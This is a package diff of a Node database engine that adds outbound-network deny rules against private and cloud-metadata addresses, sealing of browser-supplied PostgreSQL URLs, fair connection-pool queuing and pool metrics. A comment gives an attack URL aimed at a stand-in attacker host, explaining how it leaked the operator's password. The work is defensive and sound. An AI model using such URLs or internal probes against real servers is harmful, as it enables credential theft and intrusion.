@mistriwork/engine 0.0.0-stage → 1.0.0-rc.10

package/dist/adapters/net/networkPolicy.js

@@ -0,0 +1,123 @@
+/**
+ * Where a socket this process opens on the operator's behalf may go.
+ *
+ * Every outbound connection a config file can point somewhere — an API
+ * (egress.ts), a cache, a search service — resolves its host through
+ * `checkedLookup`, so the address checked is the address connected: a name
+ * that resolves somewhere else a moment later (DNS rebinding) changes
+ * nothing. One set of ranges, one rule, whichever protocol rides on top.
+ *
+ * Private networks are reachable by default, because internal services are
+ * the common case and these connections only ever come from the operator's
+ * config, never from a browser. Link-local addresses, where cloud metadata
+ * services answer, are not, unless the connection says so: they hand out
+ * credentials to whoever asks.
+ */
+import { lookup as dnsLookup } from 'node:dns';
+import { BlockList, isIP } from 'node:net';
+const ranges = (entries) => {
+    const list = new BlockList();
+    for (const [address, prefix] of entries)
+        list.addSubnet(address, prefix, isIP(address) === 6 ? 'ipv6' : 'ipv4');
+    return list;
+};
+/* An unspecified address reaches whatever listens on this machine; never a destination. */
+const NEVER = ranges([
+    ['0.0.0.0', 8],
+    ['::', 128],
+    // NAT64's local-use prefix (RFC 8215): the IPv4 address sits where the operator's gateway puts it, so none can be vouched for.
+    ['64:ff9b:1::', 48],
+]);
+const LINK_LOCAL = ranges([
+    ['169.254.0.0', 16],
+    ['fe80::', 10],
+    ['fd00:ec2::254', 128],
+]);
+const PRIVATE = ranges([
+    ['127.0.0.0', 8],
+    ['10.0.0.0', 8],
+    ['172.16.0.0', 12],
+    ['192.168.0.0', 16],
+    ['100.64.0.0', 10],
+    ['::1', 128],
+    ['fc00::', 7],
+]);
+/* The sixteen bytes of an IPv6 address, or undefined when it is not one (a zone id, `::`, and a dotted tail are read). */
+function sixteen(address) {
+    const bare = address.split('%')[0].toLowerCase();
+    const tail = /(\d+)\.(\d+)\.(\d+)\.(\d+)$/.exec(bare);
+    const text = tail
+        ? bare.slice(0, bare.length - tail[0].length) +
+            [(+tail[1] << 8) | +tail[2], (+tail[3] << 8) | +tail[4]].map((n) => n.toString(16)).join(':')
+        : bare;
+    const halves = text.split('::');
+    if (halves.length > 2)
+        return undefined;
+    const groups = (part) => (part ? part.split(':') : []);
+    const head = groups(halves[0]);
+    const rest = halves.length === 2 ? groups(halves[1]) : [];
+    const fill = halves.length === 2 ? 8 - head.length - rest.length : 0;
+    const all = [...head, ...Array(Math.max(fill, 0)).fill('0'), ...rest];
+    if (all.length !== 8 || all.some((group) => !/^[0-9a-f]{1,4}$/.test(group)))
+        return undefined;
+    return all.flatMap((group) => [parseInt(group, 16) >> 8, parseInt(group, 16) & 255]);
+}
+/* The IPv4 address an IPv6 spelling carries inside it, which is the address a gateway or a tunnel then connects to:
+   NAT64 (64:ff9b::/96), 6to4 (2002::/16) and the long-retired IPv4-compatible form (::/96). BlockList already reads the
+   IPv4-mapped spelling (`::ffff:a.b.c.d`) by its IPv4 rules. */
+function embedded(address) {
+    const bytes = sixteen(address);
+    if (!bytes)
+        return undefined;
+    const v4 = (at) => bytes.slice(at, at + 4).join('.');
+    if (bytes[0] === 0x20 && bytes[1] === 0x02)
+        return v4(2);
+    if (bytes.slice(0, 12).every((byte, index) => byte === [0, 0x64, 0xff, 0x9b, 0, 0, 0, 0, 0, 0, 0, 0][index]))
+        return v4(12);
+    if (bytes.slice(0, 12).every((byte) => byte === 0))
+        return v4(12);
+    return undefined;
+}
+function reachable(address, policy) {
+    const type = isIP(address) === 6 ? 'ipv6' : 'ipv4';
+    if (NEVER.check(address, type))
+        return false;
+    if (!policy.allowLinkLocal && LINK_LOCAL.check(address, type))
+        return false;
+    if (!policy.allowPrivate && PRIVATE.check(address, type))
+        return false;
+    // An address that wraps another is as reachable as the one inside it.
+    const inside = type === 'ipv6' ? embedded(address) : undefined;
+    return inside === undefined || reachable(inside, policy);
+}
+/**
+ * A host written as an address is never looked up, so it is checked before
+ * any socket opens: the address it names when that address is refused,
+ * undefined when it is a name or a reachable address.
+ */
+export function refusedLiteral(hostname, policy) {
+    const literal = hostname.replace(/^\[|\]$/g, '');
+    return isIP(literal) && !reachable(literal, policy) ? literal : undefined;
+}
+/**
+ * The lookup a socket uses: resolve, keep only reachable addresses, and hand
+ * those back, so the address checked is the address connected. Node asks for
+ * one address or for all (happy eyeballs); both are answered. `refuse` makes
+ * the caller's own error for a name that resolves only to refused addresses.
+ */
+export function checkedLookup(policy, refuse) {
+    const resolve = policy.resolver ?? ((hostname, options, callback) => dnsLookup(hostname, options, callback));
+    return (hostname, options, callback) => {
+        resolve(hostname, { all: true }, (error, addresses) => {
+            if (error)
+                return callback(error);
+            const allowed = addresses.filter((each) => reachable(each.address, policy));
+            if (!allowed.length)
+                return callback(refuse(hostname, addresses.map((each) => each.address)));
+            if (options.all)
+                callback(null, allowed);
+            else
+                callback(null, allowed[0].address, allowed[0].family);
+        });
+    };
+}

package/dist/adapters/net/untrustedDatabase.d.ts

@@ -0,0 +1,18 @@
+import { type NetworkPolicy } from './networkPolicy.js';
+/** Where an untrusted address may go: the public network only. */
+export declare const UNTRUSTED_NETWORK: NetworkPolicy;
+/**
+ * Why a database URL from an untrusted client is refused before anything is
+ * dialled, or null. Only PostgreSQL URLs are read; the caller has
+ * already refused the forms that are not network URLs.
+ */
+export declare function untrustedDatabaseRefusal(target: string): string | null;
+/**
+ * The `pg` options for a sealed address: no `connectionString`, because pg
+ * merges its parse of one over explicit values, and its parse gives an absent
+ * password as the empty string — which pg then reads as "not given" and fills
+ * from `PGPASSWORD`. The password is a function for the same reason: it is
+ * the one form pg takes as given even when it is empty, and the one that
+ * skips `~/.pgpass`.
+ */
+export declare function sealedPgOptions(target: string, policy: NetworkPolicy): Record<string, unknown>;

package/dist/adapters/net/untrustedDatabase.js

@@ -0,0 +1,120 @@
+/**
+ * A database address that a browser beyond this machine typed.
+ *
+ * The connection form on a server bound past loopback is anyone's on the
+ * network (trust.ts `clientTrusted`). What they type is dialled by this
+ * process, with two consequences the operator never chose. The drivers fill a
+ * part the URL leaves out from this process: `pg` takes a missing user and
+ * password from `PGUSER`/`PGPASSWORD` (and `~/.pgpass`), so
+ * `postgres://u@attacker.example/db` sent the operator's password to the
+ * attacker's host. And the dial itself is a probe of whatever this machine can
+ * reach — a port scanner for the private network, a client for the cloud
+ * metadata service — with the driver's error as the answer.
+ *
+ * So an untrusted address is sealed: every part the driver would look up is
+ * given explicitly from the URL (a missing password is the empty one, never
+ * the environment's), the URL may carry only the parameters that read nothing
+ * from this machine, and its host is resolved through the network policy with
+ * loopback, private and link-local ranges refused — the address checked is
+ * the address connected (networkPolicy.ts), so a name that rebinds changes
+ * nothing. A connection the operator wrote (tablewalk.json, the command line,
+ * a loopback browser) is untouched.
+ */
+import { Socket } from 'node:net';
+import { checkedLookup, refusedLiteral } from './networkPolicy.js';
+/** Where an untrusted address may go: the public network only. */
+export const UNTRUSTED_NETWORK = Object.freeze({ allowPrivate: false, allowLinkLocal: false });
+/* The parameters that change nothing on this machine. Everything else is
+   refused rather than dropped: `host=/var/run/postgresql` is a local socket,
+   and `sslcert=/path` and `sslrootcert=/path` read files. */
+const PG_PARAMETERS = new Set(['sslmode', 'application_name']);
+const PG_SSLMODES = new Set(['disable', 'prefer', 'require', 'verify-ca', 'verify-full', 'no-verify']);
+const MOVE_IT = 'This server is reachable beyond this machine, so a connection added from the browser ' +
+    'is dialled exactly as written and nothing is filled in from the server. ';
+/**
+ * Why a database URL from an untrusted client is refused before anything is
+ * dialled, or null. Only PostgreSQL URLs are read; the caller has
+ * already refused the forms that are not network URLs.
+ */
+export function untrustedDatabaseRefusal(target) {
+    if (!/^postgres(ql)?:\/\//i.test(target))
+        return null;
+    let url;
+    try {
+        url = new URL(target);
+    }
+    catch {
+        return `${MOVE_IT}This is not a URL that can be read.`;
+    }
+    if (!url.hostname)
+        return `${MOVE_IT}Name the host in the URL.`;
+    if (!url.username)
+        return `${MOVE_IT}Name the user in the URL (user@host).`;
+    const allowed = PG_PARAMETERS;
+    for (const [key, value] of url.searchParams) {
+        const ok = allowed.has(key) || (key === 'sslrootcert' && value === 'system');
+        if (!ok)
+            return `${MOVE_IT}"${key}" cannot be set from the browser; put this connection in the config file on the server.`;
+        if (key === 'sslmode' && !PG_SSLMODES.has(value))
+            return `${MOVE_IT}"sslmode=${value}" is not one this connection can use.`;
+    }
+    return null;
+}
+/* Kept out of the message a driver reports: the host is the caller's own, the addresses are what it resolved to. */
+function refusal(host, addresses) {
+    return new Error(`${host} resolves only to addresses a connection added from the browser may not reach (${addresses.join(', ')}). ` +
+        'Put a connection to a private or local database in the config file on the server.');
+}
+/**
+ * A socket for a driver's `stream` option whose `connect(port, host)` is
+ * resolved through `policy`. A host written as an address is checked before
+ * any packet leaves, since Node never looks one up.
+ */
+function guardedSocket(policy) {
+    const socket = new Socket();
+    const connect = socket.connect.bind(socket);
+    const lookup = checkedLookup(policy, refusal);
+    socket.connect = ((port, host) => {
+        const literal = refusedLiteral(host, policy);
+        if (literal) {
+            // After the driver's own 'error' listener is in place, which it adds once connect returns.
+            process.nextTick(() => socket.destroy(new Error(`The address ${literal} is one a connection added from the browser may not reach.`)));
+            return socket;
+        }
+        return connect({ port, host, lookup });
+    });
+    return socket;
+}
+const decoded = (part) => decodeURIComponent(part);
+/**
+ * The `pg` options for a sealed address: no `connectionString`, because pg
+ * merges its parse of one over explicit values, and its parse gives an absent
+ * password as the empty string — which pg then reads as "not given" and fills
+ * from `PGPASSWORD`. The password is a function for the same reason: it is
+ * the one form pg takes as given even when it is empty, and the one that
+ * skips `~/.pgpass`.
+ */
+export function sealedPgOptions(target, policy) {
+    const url = new URL(target);
+    const user = decoded(url.username);
+    const password = decoded(url.password);
+    const sslmode = url.searchParams.get('sslmode');
+    const system = url.searchParams.get('sslrootcert') === 'system';
+    const ssl = sslmode === 'disable'
+        ? false
+        : sslmode === 'no-verify'
+            ? { rejectUnauthorized: false }
+            : sslmode || system
+                ? { rejectUnauthorized: true }
+                : false;
+    return {
+        host: url.hostname.replace(/^\[|\]$/g, ''),
+        port: url.port ? Number(url.port) : 5432,
+        user,
+        database: decoded(url.pathname.slice(1)) || user,
+        password: () => password,
+        ssl,
+        ...(url.searchParams.get('application_name') ? { application_name: url.searchParams.get('application_name') } : {}),
+        stream: () => guardedSocket(policy),
+    };
+}

package/dist/adapters/poolAdmission.d.ts

@@ -0,0 +1,43 @@
+/**
+ * Run a request's `work` with its checkouts filed under the client that sent
+ * it: `address` as the server reads it, a forwarded one only from a trusted
+ * proxy (trust.ts forwardedClient), so a signed-out storm cannot spread itself
+ * over invented addresses.
+ */
+export declare function withAdmission<T>(address: string, work: () => T): T;
+/** The request's session names its account: its checkouts from here on wait as that account's. */
+export declare function admitAs(account: string | undefined): void;
+export declare class PoolAdmission {
+    private readonly role;
+    private size;
+    private readonly most;
+    private inUse;
+    private waiting;
+    /** Each account's waiters in arrival order; the Map's own order is the turn's, the first account's next. */
+    private readonly lines;
+    /**
+     * @param size the pool's connections: how many checkouts hold one at once.
+     * @param most how many may wait.
+     */
+    constructor(role: 'read' | 'write', size: number, most: number);
+    /**
+     * How many places there are from now on. A pool held at the connections it
+     * has (postgresPool.ts holdAtLimit) is resized to them, so the checkouts past
+     * them wait here, in their turns, rather than in the driver's line, which
+     * cannot withdraw a request nor take turns; and back again when the hold ends.
+     */
+    resize(size: number): void;
+    /**
+     * A place among the pool's connections, now or at this checkout's turn:
+     * call the returned function to give it back. Refused with PoolBusy past
+     * the line's bounds or once `waitMs` is spent.
+     */
+    enter(waitMs: number): Promise<() => void>;
+    /** Give the place to whoever's turn it is, while places are free. */
+    private serve;
+    /** A held place, given back once. */
+    private place;
+    private leave;
+    /** At a full line, refuse the longest other account's newest waiter for a newcomer holding `held` places: whether one was. */
+    private turnAwayLongest;
+}

package/dist/adapters/poolAdmission.js

@@ -0,0 +1,184 @@
+/**
+ * The line a checkout waits in for one of a pool's connections, and whose turn
+ * it is. One per role of a manager (postgresPool.ts): the readers, the writers.
+ *
+ * The line used to be the driver's own, first come first served, bounded only
+ * in length (POOL_QUEUE_PER_CONNECTION) and wait (POOL_QUEUE_WAIT_MS). Under a
+ * retry storm at `--read-pool 1` — a few accounts answering every 503 by
+ * asking again at once, Retry-After unread — their requests filled it, every
+ * other account's arrived to a full line and was refused, and what got in
+ * waited behind the storm until its budget ran out: a live load test saw the
+ * useful work done collapse. The driver made it worse: it cannot withdraw a
+ * request it has queued, so each one that gave up still took its turn later,
+ * and a connection went round the abandoned requests before reaching a live
+ * one. Now the line is ours, the driver is asked for a connection only once
+ * one is this checkout's, and a waiter that gives up leaves the line.
+ *
+ * Each waiting checkout is filed under the account it runs for (below: the
+ * signed-in account, or a signed-out client's address), and three rules keep
+ * one account from taking the line from the others:
+ *
+ *   - Turns go round the accounts: one checkout from each account waiting,
+ *     then the next, so a quiet account's request is the next or nearly the
+ *     next served however long a storming account's line is. Within an
+ *     account, arrival order: one person's saves sent together still apply in
+ *     the order they were sent.
+ *   - An account may hold at most half the line's places. Past that its next
+ *     request is refused at once, busy, with Retry-After, rather than queued
+ *     to time out. Half, not a small fixed number: one person's own fan-out
+ *     (a page's boot sends up to eight reads, a dashboard one per section) is
+ *     waited for, not refused, on any pool, and the other half stays open to
+ *     everyone else.
+ *   - A full line turns away its longest account's newest waiter, not the
+ *     newcomer, when the newcomer's account holds fewer places by more than
+ *     one: two or three storming accounts cannot fill the line between them
+ *     and refuse a fourth. The one turned away waited least and leaves its
+ *     account the most still queued; nothing was leased for it, so it is a
+ *     busy refusal like any other (a write's outcome `not_applied`).
+ *
+ * The bounds themselves are unchanged: the line's length is the pool's
+ * connections times POOL_QUEUE_PER_CONNECTION, and a checkout that waits
+ * POOL_QUEUE_WAIT_MS is refused.
+ *
+ * A checkout that runs for no request — a job's read, the stdio MCP server, a
+ * process's start — is filed under no account. It takes its turn with the
+ * accounts, as one of them, but is never refused for its share nor turned
+ * away for another's: it is the server's own work, and it waited in one line
+ * with everything else before.
+ */
+import { AsyncLocalStorage } from 'node:async_hooks';
+import { PoolBusy } from './poolMetrics.js';
+const admissions = new AsyncLocalStorage();
+/**
+ * Run a request's `work` with its checkouts filed under the client that sent
+ * it: `address` as the server reads it, a forwarded one only from a trusted
+ * proxy (trust.ts forwardedClient), so a signed-out storm cannot spread itself
+ * over invented addresses.
+ */
+export function withAdmission(address, work) {
+    return admissions.run({ key: `client:${address}` }, work);
+}
+/** The request's session names its account: its checkouts from here on wait as that account's. */
+export function admitAs(account) {
+    const admission = admissions.getStore();
+    if (admission && account)
+        admission.key = `account:${account}`;
+}
+/** The waiters filed under no account: a key no request's can be, since every request's carries a prefix. */
+const UNFILED = '';
+export class PoolAdmission {
+    role;
+    size;
+    most;
+    inUse = 0;
+    waiting = 0;
+    /** Each account's waiters in arrival order; the Map's own order is the turn's, the first account's next. */
+    lines = new Map();
+    /**
+     * @param size the pool's connections: how many checkouts hold one at once.
+     * @param most how many may wait.
+     */
+    constructor(role, size, most) {
+        this.role = role;
+        this.size = size;
+        this.most = most;
+    }
+    /**
+     * How many places there are from now on. A pool held at the connections it
+     * has (postgresPool.ts holdAtLimit) is resized to them, so the checkouts past
+     * them wait here, in their turns, rather than in the driver's line, which
+     * cannot withdraw a request nor take turns; and back again when the hold ends.
+     */
+    resize(size) {
+        this.size = size;
+        this.serve();
+    }
+    /**
+     * A place among the pool's connections, now or at this checkout's turn:
+     * call the returned function to give it back. Refused with PoolBusy past
+     * the line's bounds or once `waitMs` is spent.
+     */
+    enter(waitMs) {
+        if (this.inUse < this.size && this.waiting === 0) {
+            this.inUse += 1;
+            return Promise.resolve(this.place());
+        }
+        const key = admissions.getStore()?.key ?? UNFILED;
+        const held = this.lines.get(key)?.length ?? 0;
+        const full = () => Promise.reject(new PoolBusy(this.role, 'queue_full'));
+        if (key !== UNFILED && held >= Math.max(1, Math.floor(this.most / 2)))
+            return full();
+        if (this.waiting >= this.most && !this.turnAwayLongest(key, held))
+            return full();
+        return new Promise((resolve, reject) => {
+            const waiter = { resolve, reject };
+            waiter.timer = setTimeout(() => {
+                this.leave(key, waiter);
+                reject(new PoolBusy(this.role, 'queue_timeout'));
+            }, waitMs);
+            const line = this.lines.get(key);
+            if (line)
+                line.push(waiter);
+            else
+                this.lines.set(key, [waiter]);
+            this.waiting += 1;
+            this.serve();
+        });
+    }
+    /** Give the place to whoever's turn it is, while places are free. */
+    serve() {
+        while (this.inUse < this.size) {
+            const next = this.lines.entries().next();
+            if (next.done)
+                return;
+            const [key, line] = next.value;
+            const waiter = line.shift();
+            // To the back of the turn, behind every other account waiting.
+            this.lines.delete(key);
+            if (line.length)
+                this.lines.set(key, line);
+            this.waiting -= 1;
+            this.inUse += 1;
+            clearTimeout(waiter.timer);
+            waiter.resolve(this.place());
+        }
+    }
+    /** A held place, given back once. */
+    place() {
+        let given = false;
+        return () => {
+            if (given)
+                return;
+            given = true;
+            this.inUse -= 1;
+            this.serve();
+        };
+    }
+    leave(key, waiter) {
+        const line = this.lines.get(key);
+        const at = line?.indexOf(waiter) ?? -1;
+        if (!line || at < 0)
+            return;
+        line.splice(at, 1);
+        this.waiting -= 1;
+        if (!line.length)
+            this.lines.delete(key);
+    }
+    /** At a full line, refuse the longest other account's newest waiter for a newcomer holding `held` places: whether one was. */
+    turnAwayLongest(key, held) {
+        if (key === UNFILED)
+            return false;
+        let longest;
+        for (const entry of this.lines) {
+            if (entry[0] !== UNFILED && entry[0] !== key && entry[1].length > (longest?.[1].length ?? 0))
+                longest = entry;
+        }
+        if (!longest || longest[1].length <= held + 1)
+            return false;
+        const waiter = longest[1][longest[1].length - 1];
+        clearTimeout(waiter.timer);
+        this.leave(longest[0], waiter);
+        waiter.reject(new PoolBusy(this.role, 'queue_full'));
+        return true;
+    }
+}

package/dist/adapters/poolMetrics.d.ts

@@ -0,0 +1,121 @@
+/**
+ * What a connection pool can say about itself: how long each checkout waited
+ * for a connection, how long it held one, and how full the pool is now.
+ *
+ * Engine-neutral and fixed-size: cumulative counters and bucket counts on the
+ * HTTP request metrics' bounds, so the operator surface carries them without
+ * learning a driver, and their size never grows with traffic. One meter per
+ * role of a pool — the readers, the writers, the background writer — and nothing in it names the
+ * database, because the operator surface must not.
+ */
+/** Inclusive upper bounds, the same as the HTTP request metrics', so one scale reads both. */
+export declare const POOL_DURATION_BOUNDS_MS: readonly number[];
+/**
+ * How long a checkout may queue behind a full pool before it is refused, and
+ * how many may queue (per connection the pool holds). Without them a
+ * saturated server held every request for the driver's ten-second timeout and
+ * then failed it as a 500: slow, and no better informed. Past either bound the
+ * request is refused at once, as busy, and its client is told to come back.
+ *
+ * The count is about as many checkouts as a connection works through in that
+ * wait (a few tens of milliseconds each): past it, the wait would run out
+ * anyway. At eight, a burst a server answers well inside the wait was refused
+ * at once — a page's boot has up to eight reads in flight, and a field report saw
+ * two thirds of the tabs opened at one moment by 25 people turned away busy
+ * on a server with its loop idle. The wait is what bounds a slow server.
+ * Who gets the places in the line, account by account, is poolAdmission.ts's.
+ */
+export declare const POOL_QUEUE_WAIT_MS = 2000;
+export declare const POOL_QUEUE_PER_CONNECTION = 64;
+/** What a person is told when the server is busy, and how soon to try again. */
+export declare const POOL_BUSY_MESSAGE = "The server is busy; try again in a moment.";
+/** How long a pool the server refused stays at the connections it holds before it asks for more: its idle timeout. */
+export declare const POOL_LIMIT_HOLD_MS = 30000;
+/**
+ * A checkout refused because the pool is full and its queue is too long or
+ * has waited too long, or because the database refused this process another
+ * connection and the pool held none to wait for (`connection_limit`, the
+ * refusal as its cause). Thrown before anything was leased, so no statement
+ * ran: a read can be asked again and a write was never begun.
+ */
+export declare class PoolBusy extends Error {
+    readonly role: 'read' | 'write';
+    readonly why: 'queue_full' | 'queue_timeout' | 'connection_limit';
+    constructor(role: 'read' | 'write', why: 'queue_full' | 'queue_timeout' | 'connection_limit', cause?: unknown);
+}
+/**
+ * When to come back after a refused checkout. A full queue clears in a moment; a pool the database refused another
+ * connection holds at what it has and asks for more only after POOL_LIMIT_HOLD_MS, so a retry in one second lands on
+ * the same refusal. A `connection_limit` refusal says the hold's length instead.
+ */
+export declare function poolBusyRetryAfterSeconds(error: unknown): number;
+/**
+ * Whether `error` is a refused checkout, anywhere in its causes, and not one
+ * that reports an unknown outcome (a transaction whose commit was never
+ * acknowledged is not "busy": it may have landed).
+ */
+export declare function isPoolBusy(error: unknown): boolean;
+/** The readers, the writers, the one connection background work writes through, and a read replica's readers. */
+export type PoolRole = 'read' | 'write' | 'background' | 'replica';
+/** What sits between the process and the server: nothing that moves server
+ * connections between clients mid-session (`session`), or a pooler that
+ * does so after every transaction (`transaction`). */
+export type PoolerMode = 'session' | 'transaction';
+export interface PoolRoleStats {
+    readonly role: PoolRole;
+    /** Which of the connection's replicas, from 1, for a replica's readers. */
+    readonly replica?: number;
+    readonly pooler: PoolerMode;
+    /** The most connections this role may hold at once. */
+    readonly size: number;
+    /** Physical connections the driver holds now, idle ones included; null when it does not say. */
+    readonly open: number | null;
+    /** Checked out now. */
+    readonly inUse: number;
+    /** Checkouts queued now behind a pool whose every connection is in use. */
+    readonly waiting: number;
+    /** A checkout is queued now, or one timed out within the last minute. */
+    readonly saturated: boolean;
+    /** Checkouts started, cumulative. */
+    readonly checkouts: number;
+    /** Checkouts that found every connection in use or already being opened, cumulative. */
+    readonly queued: number;
+    /** Checkouts refused at the acquisition timeout or by the queue's bounds (PoolBusy), cumulative. */
+    readonly timedOut: number;
+    /** Checkouts that failed otherwise: a refused connection, a failed session setup. */
+    readonly failed: number;
+    /** From asking to holding (or failing), one count per bucket of POOL_DURATION_BOUNDS_MS, then overflow. */
+    readonly waitBuckets: readonly number[];
+    /** From holding to giving back, bucketed the same way. */
+    readonly holdBuckets: readonly number[];
+}
+/** One checkout in progress. */
+export interface PoolCheckout {
+    /** The connection arrived. The returned function gives it back. */
+    acquired(): () => void;
+    /** The checkout failed; `timedOut` when the driver gave up waiting for a connection. */
+    failed(timedOut: boolean): void;
+}
+export declare class PoolMeter {
+    readonly role: PoolRole;
+    readonly size: number;
+    private readonly now;
+    private leased;
+    private pending;
+    private checkouts;
+    private queued;
+    private timeouts;
+    private failures;
+    private lastTimeoutAt;
+    private readonly waits;
+    private readonly holds;
+    constructor(role: PoolRole, size: number, now?: () => number);
+    /** Every connection is leased or being opened: a checkout begun now waits. */
+    full(): boolean;
+    /** Checkouts queued now behind a pool whose every connection is in use. */
+    waiting(): number;
+    /** A checkout turned away before it began: counted as a timeout, so the pool reads saturated and readiness says so. */
+    refuse(): void;
+    begin(): PoolCheckout;
+    stats(pooler: PoolerMode, open: number | null): PoolRoleStats;
+}